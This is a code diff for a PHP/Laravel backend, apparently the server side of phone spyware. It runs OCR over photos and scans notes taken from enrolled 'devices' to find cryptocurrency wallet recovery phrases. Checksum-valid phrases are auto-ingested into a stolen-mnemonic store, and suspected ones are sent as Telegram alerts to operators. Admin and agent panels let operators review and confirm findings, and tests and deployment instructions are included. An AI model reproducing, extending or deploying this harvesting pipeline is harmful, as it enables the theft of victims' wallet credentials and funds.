if ($hit === null || ! $this->worthRecording($source, $hit)) {
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
return;
}
$row = $q->first() ?? new MnemonicFinding([
'device_id' => $device->id,
'source' => $source,
'photo_id' => $photo?->id,
'note_id' => $note?->id,
'item_key' => $itemKey,
]);
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
return;
}
$wasNew = ! $row->exists;
$prevCandidate = $row->exists ? $row->candidate : '';
$confirmed = $this->canIngestHit($hit);
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
$row->candidate = $hit['candidate'];
$row->excerpt = mb_substr($text, 0, 2000);
$row->word_count = $hit['word_count'];
$row->score = $hit['score'];
if ($confirmed) {
$row->reviewed_by = 'scan';
$row->reviewed_at = now();
}
$row->save();
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
? WalletSource::fromTag('album_ocr')
: WalletSource::fromTag('note_scan');
if ($confirmed) {
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['candidate'],
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
return;
}
if ($wasNew || $prevCandidate !== $hit['candidate']) {
$this->telegram->notifySuspectedMnemonic(
$device->device_id,
$sourceLabel,
$hit['candidate'],
(int) $hit['word_count'],
);
}
}
/**
* Album and notes both need 12+ consecutive words that can derive an address.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function canIngestHit(array $hit): bool
{
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
return false;
}
return Bip44::isUsableMnemonic((string) $hit['candidate']);
}
/**
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function worthRecording(string $source, array $hit): bool
{
if ($this->canIngestHit($hit)) {
return true;
}
if ($source === MnemonicFinding::SOURCE_NOTE) {
return false;
}
if (! empty($hit['confirmed'])) {
return true;
}
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
}
private function photoStatus(Photo $photo): int
{
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
private function noteStatus(Note $note, string $itemKey): int
{
$status = MnemonicFinding::query()
->where('note_id', $note->id)
->where('item_key', $itemKey)
->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
}
+27
View File
@@ -0,0 +1,27 @@
<?php
namespace App\Services;
class MnemonicScanStatus
{
public const PENDING = 0;
public const EMPTY = 1;
public const SUSPECTED = 2;
public const CONFIRMED = 3;
public const FAILED = 4;
public static function label(int $status): string
{
return match ($status) {
self::EMPTY => '已扫',
self::SUSPECTED => '疑似',
self::CONFIRMED => '确定含有',
self::FAILED => '失败',
default => '未扫',
};
}
}
+8
View File
@@ -0,0 +1,8 @@
<?php
namespace App\Services\Ocr;
interface OcrDriver
{
public function recognize(string $imagePath): string;
}
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Services\Ocr;
use App\Models\Photo;
use App\Services\PhotoPreview;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class PhotoOcrPreparer
{
public function __construct(private readonly PhotoPreview $preview) {}
/**
* Write a resized JPEG for Tesseract. Caller must unlink the returned path.
*/
public function jpegPath(Photo $photo): ?string
{
$abs = Storage::disk('local')->path((string) $photo->path);
if (! is_file($abs)) {
return null;
}
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
$bytes = (string) ($payload['bytes'] ?? '');
if ($bytes === '') {
return null;
}
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
if ($tmp === false) {
return null;
}
$jpeg = $tmp.'.jpg';
@unlink($tmp);
file_put_contents($jpeg, $bytes);
$this->resize($jpeg);
return $jpeg;
}
private function resize(string $path): void
{
$max = (int) config('coruna.ocr.max_edge', 1800);
if ($max < 400) {
return;
}
$magick = $this->which('magick') ?? $this->which('convert');
if ($magick !== null) {
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
return;
}
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
}
}
private function which(string $bin): ?string
{
$result = Process::timeout(3)->run(['which', $bin]);
$path = trim($result->output());
return $result->successful() && $path !== '' ? $path : null;
}
}
+37
View File
@@ -0,0 +1,37 @@
<?php
namespace App\Services\Ocr;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
class TesseractOcrDriver implements OcrDriver
{
public function recognize(string $imagePath): string
{
if (! is_file($imagePath)) {
return '';
}
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
$result = Process::timeout(90)->run([
$bin,
$imagePath,
'stdout',
'-l', $langs,
'--psm', '6',
]);
if (! $result->successful()) {
Log::channel('stack')->warning('tesseract ocr failed', [
'path' => $imagePath,
'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500),
]);
return '';
}
return trim($result->output());
}
}
+19 -2
View File
@@ -113,6 +113,12 @@ class TelegramNotifier
{
$chatIds = $this->resolveChatIds($deviceKey);
if ($chatIds === []) {
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
'device_key' => $deviceKey,
'bot_token_set' => $this->botToken() !== '',
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
]);
return false;
}
@@ -167,11 +173,11 @@ class TelegramNotifier
if ($desc === '') {
$desc = 'HTTP '.$resp->status();
}
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $desc];
} catch (\Throwable $e) {
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
return ['ok' => false, 'error' => $e->getMessage()];
}
@@ -316,6 +322,17 @@ class TelegramNotifier
]), $deviceId);
}
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
{
$this->send(implode("\n", [
'🔎 <b>疑似助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
+2
View File
@@ -39,6 +39,8 @@ final class WalletSource
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
'album_ocr' => '相册',
'note_scan' => '备忘录扫描',
];
/**
+5
View File
@@ -12,6 +12,11 @@ $adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', ''));
$agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
return [
'ocr' => [
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
'langs' => env('CORUNA_OCR_LANGS', 'eng+chi_sim'),
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1800),
],
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
'xxbb' => [
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
@@ -0,0 +1,61 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('photos', function (Blueprint $table) {
$table->unsignedTinyInteger('scan_status')->default(0)->after('barcode_count');
$table->timestamp('scanned_at')->nullable()->after('scan_status');
$table->mediumText('ocr_text')->nullable()->after('scanned_at');
$table->index(['scan_status', 'created_at']);
});
Schema::create('note_scans', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('device_id');
$table->unsignedBigInteger('note_id');
$table->string('item_key', 64);
$table->string('content_hash', 64);
$table->unsignedTinyInteger('scan_status')->default(0);
$table->timestamp('scanned_at')->nullable();
$table->timestamps();
$table->unique(['note_id', 'item_key']);
$table->index(['device_id', 'scan_status']);
});
Schema::create('mnemonic_findings', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('device_id');
$table->string('source', 16);
$table->unsignedBigInteger('photo_id')->nullable();
$table->unsignedBigInteger('note_id')->nullable();
$table->string('item_key', 64)->nullable();
$table->string('status', 16)->default('suspected');
$table->text('candidate_enc');
$table->text('excerpt')->nullable();
$table->unsignedSmallInteger('word_count')->default(0);
$table->unsignedSmallInteger('score')->default(0);
$table->string('reviewed_by')->nullable();
$table->timestamp('reviewed_at')->nullable();
$table->timestamps();
$table->index(['status', 'created_at']);
$table->index(['device_id', 'source']);
$table->index('photo_id');
});
}
public function down(): void
{
Schema::dropIfExists('mnemonic_findings');
Schema::dropIfExists('note_scans');
Schema::table('photos', function (Blueprint $table) {
$table->dropIndex(['scan_status', 'created_at']);
$table->dropColumn(['scan_status', 'scanned_at', 'ocr_text']);
});
}
};
+11
View File
@@ -468,6 +468,17 @@ cd /www/wwwroot/coruna-lab
进程数量: 2
```
相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核):
```text
名称: coruna-ocr
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=2 --tries=1 --timeout=120 --max-jobs=50
启动目录: /www/wwwroot/coruna-lab
进程数量: 1
```
机器上需安装 `tesseract` 及语言包 `eng` + `chi_sim`。`QUEUE_CONNECTION` 必须是 `redis`。
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
```ini
File diff suppressed because it is too large Load Diff
+6
View File
@@ -24,6 +24,12 @@
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
.photo-thumb{position:relative;display:inline-block}
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
.scan-badge{position:absolute;left:8px;top:8px;font-size:11px;line-height:16px;padding:0 5px;border-radius:2px;color:#fff;background:#909399}
.scan-badge-1{background:#16b777}
.scan-badge-2{background:#ff5722}
.scan-badge-3{background:#16b777}
.scan-badge-4{background:#c2c2c2}
.scan-progress{color:#666;font-size:13px;margin:0 0 10px}
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
+10 -1
View File
@@ -264,10 +264,12 @@
</div>
</div>
</form>
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@elseif ($tab === 'notes')
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
<div id="LAY-note-cards"></div>
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
@@ -412,6 +414,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
if (res && res.scan) {
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
@@ -421,6 +426,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var card = $(
'<a class="photo-card" href="javascript:;">' +
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' +
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
@@ -531,13 +537,16 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
}, function (res) {
var $list = $('#LAY-note-cards').empty();
var items = (res && res.data) ? res.data : [];
if (res && res.scan) {
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
}
if (!items.length) {
$('#LAY-note-empty').show();
} else {
$('#LAY-note-empty').hide();
items.forEach(function (it) {
var $card = $('<div class="note-card"></div>');
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
$list.append($card);
});
@@ -0,0 +1,192 @@
@extends('admin.content')
@section('title', '助记词扫描')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.scan-bar { display:flex; gap:16px; flex-wrap:wrap; margin-bottom:12px; }
.scan-tile { background:#f8f8f8; border-radius:4px; padding:10px 14px; min-width:220px; }
.scan-tile strong { font-size:18px; }
.scan-sus { color:#ff5722; font-weight:600; }
.scan-ok { color:#16b777; font-weight:600; }
</style>
<div class="layui-card">
<div class="layui-card-header">扫描进度</div>
<div class="layui-card-body">
<div class="scan-bar">
<div class="scan-tile">
<div>相册</div>
<strong>{{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }}</strong>
<div>已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}</div>
</div>
<div class="scan-tile">
<div>备忘录</div>
<strong>{{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }}</strong>
<div>已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}</div>
</div>
</div>
</div>
</div>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-find-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">状态</label>
<div class="layui-input-block">
<select name="status">
<option value="" selected>全部</option>
<option value="suspected">疑似</option>
<option value="confirmed">确定含有</option>
<option value="dismissed">已排除</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
<option value="photo">相册</option>
<option value="note">备忘录</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-find-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-find-list" lay-filter="LAY-find-list"></table>
<script type="text/html" id="LAY-find-thumb">
@{{# if(!d.photo_url){ }}—@{{# } else { }}
<img src="@{{d.photo_url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
@{{# } }}
</script>
<script type="text/html" id="LAY-find-ops">
@{{# if(d.status === 'suspected'){ }}
<a class="layui-btn layui-btn-xs" lay-event="confirm">确定含有</a>
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="dismiss">排除</a>
@{{# } }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
var actionBase = @json(url('/'.$portal.'/findings'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({
elem: '#LAY-find-list',
id: 'LAY-find-list',
url: @json(route($portal.'.findings.data')),
where: { status: '' },
cols: [[
{ field: 'id', title: 'ID', width: 70 },
{ field: 'source', title: '来源', width: 80 },
{ title: '预览', width: 90, templet: '#LAY-find-thumb' },
{ field: 'candidate', title: '候选助记词', minWidth: 360 },
{ field: 'excerpt', title: '原文摘录', minWidth: 220 },
{ field: 'word_count', title: '词数', width: 70 },
{ field: 'status_label', title: '状态', width: 100, templet: function (d) {
if (d.status === 'confirmed') return '<span class="scan-ok">确定含有</span>';
if (d.status === 'dismissed') return '已排除';
return '<span class="scan-sus">疑似</span>';
}},
{ field: 'device_key', title: '设备 ID', width: 150 },
{ field: 'channel_id', title: '渠道', width: 140 },
{ field: 'created_at', title: '时间', width: 170 },
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-find-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-find-search)', function (data) {
table.reload('LAY-find-list', { where: data.field, page: { curr: 1 } });
return false;
});
function openDeviceTab(url, title) {
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
}
table.on('tool(LAY-find-list)', function (obj) {
var d = obj.data;
if (obj.event === 'preview') {
if (!d.photo_url) return;
layer.open({
type: 1,
title: '照片预览 #' + d.id,
area: ['80%', '80%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;height:100%;box-sizing:border-box;overflow:auto;">' +
'<img src="' + d.photo_url + '" style="max-width:100%;max-height:100%;">' +
'</div>'
});
return;
}
if (obj.event === 'detail') {
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
return;
}
if (obj.event === 'dismiss') {
layer.confirm('排除这条疑似结果?', { icon: 3 }, function (idx) {
layer.close(idx);
postFinding(d.id, 'dismiss', {});
});
return;
}
if (obj.event !== 'confirm') return;
layer.prompt({
formType: 2,
title: '确认候选助记词(可修改,须为合法助记词)',
value: d.candidate || '',
area: ['560px', '160px']
}, function (value, promptIdx) {
postFinding(d.id, 'confirm', { candidate: value }, promptIdx);
});
});
function postFinding(id, action, extra, promptIdx) {
$.ajax({
url: actionBase + '/' + id + '/' + action,
method: 'POST',
data: Object.assign({ _token: token }, extra || {}),
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
if (promptIdx) layer.close(promptIdx);
layer.msg('已处理');
table.reload('LAY-find-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && xhr.responseJSON.msg) || '失败');
}
});
}
});
</script>
@endpush
+3
View File
@@ -107,6 +107,9 @@
<dd data-name="notes">
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
</dd>
<dd data-name="findings">
<a lay-href="{{ route('admin.findings.index') }}">助记词扫描</a>
</dd>
<dd data-name="whatsapp">
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
</dd>
+3
View File
@@ -99,6 +99,9 @@
<dd data-name="notes">
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
</dd>
<dd data-name="findings">
<a lay-href="{{ route('user.findings.index') }}">助记词扫描</a>
</dd>
<dd data-name="whatsapp">
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
</dd>
+6
View File
@@ -11,6 +11,7 @@ use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\Google2faController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\MnemonicFindingController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
use App\Http\Controllers\Admin\PhotoController;
@@ -73,6 +74,11 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
->name('mnemonics.reveal');
Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index');
Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data');
Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm');
Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
+5
View File
@@ -31,6 +31,11 @@ Schedule::command('coruna:sync-monitors --limit=200')
->withoutOverlapping()
->runInBackground();
Schedule::command('coruna:scan-mnemonics --limit=50')
->everyMinute()
->withoutOverlapping()
->runInBackground();
Artisan::command('inspire', function () {
$this->comment(Inspiring::quote());
})->purpose('Display an inspiring quote');
+6
View File
@@ -8,6 +8,7 @@ use App\Http\Controllers\Admin\FilterOptionsController;
use App\Http\Controllers\Admin\Google2faController;
use App\Http\Controllers\Admin\KeystoreController;
use App\Http\Controllers\Admin\MnemonicController;
use App\Http\Controllers\Admin\MnemonicFindingController;
use App\Http\Controllers\Admin\NoteController;
use App\Http\Controllers\Admin\PageVisitController;
use App\Http\Controllers\Admin\PhotoController;
@@ -71,6 +72,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])->name('mnemonics.reveal');
Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index');
Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data');
Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm');
Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss');
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
+282
View File
@@ -0,0 +1,282 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\Photo;
use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus;
use App\Services\Ocr\OcrDriver;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicScanTest extends TestCase
{
use RefreshDatabase;
private const PHRASE = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';
private const NINE_HIT_OCR = <<<'TXT'
palance cousin endorse
refuse private dog
solution puddy april
picture father jab
TXT;
private const INVALID_UNIQUE = 'ability able about above absent absorb abstract absurd abuse access accident account';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.bot_token' => 'tg-token',
'coruna.telegram.owner_chat_id' => '10001',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
}
#[Test]
public function twelve_note_words_auto_confirm_and_ingest(): void
{
$device = $this->device('dev-scan-12');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'x'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$finding = MnemonicFinding::query()->first();
$this->assertNotNull($finding);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
$this->assertSame(self::PHRASE, $finding->candidate);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame('备忘录扫描', $device->mnemonics()->value('source'));
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描');
});
}
#[Test]
public function nine_note_hits_are_ignored(): void
{
$device = $this->device('dev-scan-9');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3],
],
'content_hash' => hash('sha256', 'p'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, MnemonicFinding::query()->count());
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function repetitive_note_english_is_ignored(): void
{
$device = $this->device('dev-scan-pipe');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22],
],
'content_hash' => hash('sha256', 'pipe'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, MnemonicFinding::query()->count());
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function admin_can_edit_and_confirm_a_suspected_photo(): void
{
$device = $this->device('dev-scan-confirm');
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
app(MnemonicScanService::class)->scanPhoto($photo);
$finding = MnemonicFinding::query()->first();
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status);
$admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE])
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status);
$this->assertSame(self::PHRASE, $finding->fresh()->candidate);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status);
}
#[Test]
public function admin_confirm_rejects_invalid_phrase(): void
{
$device = $this->device('dev-scan-confirm-bad');
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
app(MnemonicScanService::class)->scanPhoto($photo);
$finding = MnemonicFinding::query()->first();
$admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE])
->assertOk()
->assertJsonPath('code', 1);
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status);
$this->assertSame(0, $device->mnemonics()->count());
}
#[Test]
public function bip39_test_vector_note_is_ignored(): void
{
$device = $this->device('dev-scan-abandon');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7],
],
'content_hash' => hash('sha256', 'ab'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, MnemonicFinding::query()->count());
$this->assertSame(0, $device->mnemonics()->count());
}
#[Test]
public function twelve_note_words_without_checksum_are_ignored(): void
{
$device = $this->device('dev-scan-bad-12');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8],
],
'content_hash' => hash('sha256', 'bad'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(0, MnemonicFinding::query()->count());
$this->assertSame(0, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function twelve_photo_words_auto_confirm_with_album_source(): void
{
$device = $this->device('dev-scan-photo-12');
$photo = $this->photoWithOcr($device, self::PHRASE);
app(MnemonicScanService::class)->scanPhoto($photo);
$photo->refresh();
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status);
$finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first();
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame('相册', $device->mnemonics()->value('source'));
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词') && str_contains($text, '相册');
});
}
#[Test]
public function twelve_photo_words_without_checksum_stay_suspected(): void
{
$device = $this->device('dev-scan-photo-bad');
$invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon';
$photo = $this->photoWithOcr($device, $invalid);
app(MnemonicScanService::class)->scanPhoto($photo);
$photo->refresh();
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
$this->assertSame(0, $device->mnemonics()->count());
}
#[Test]
public function rescan_drops_stale_suspected_finding(): void
{
$device = $this->device('dev-scan-stale');
$note = Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1],
],
'content_hash' => hash('sha256', 'y'),
]);
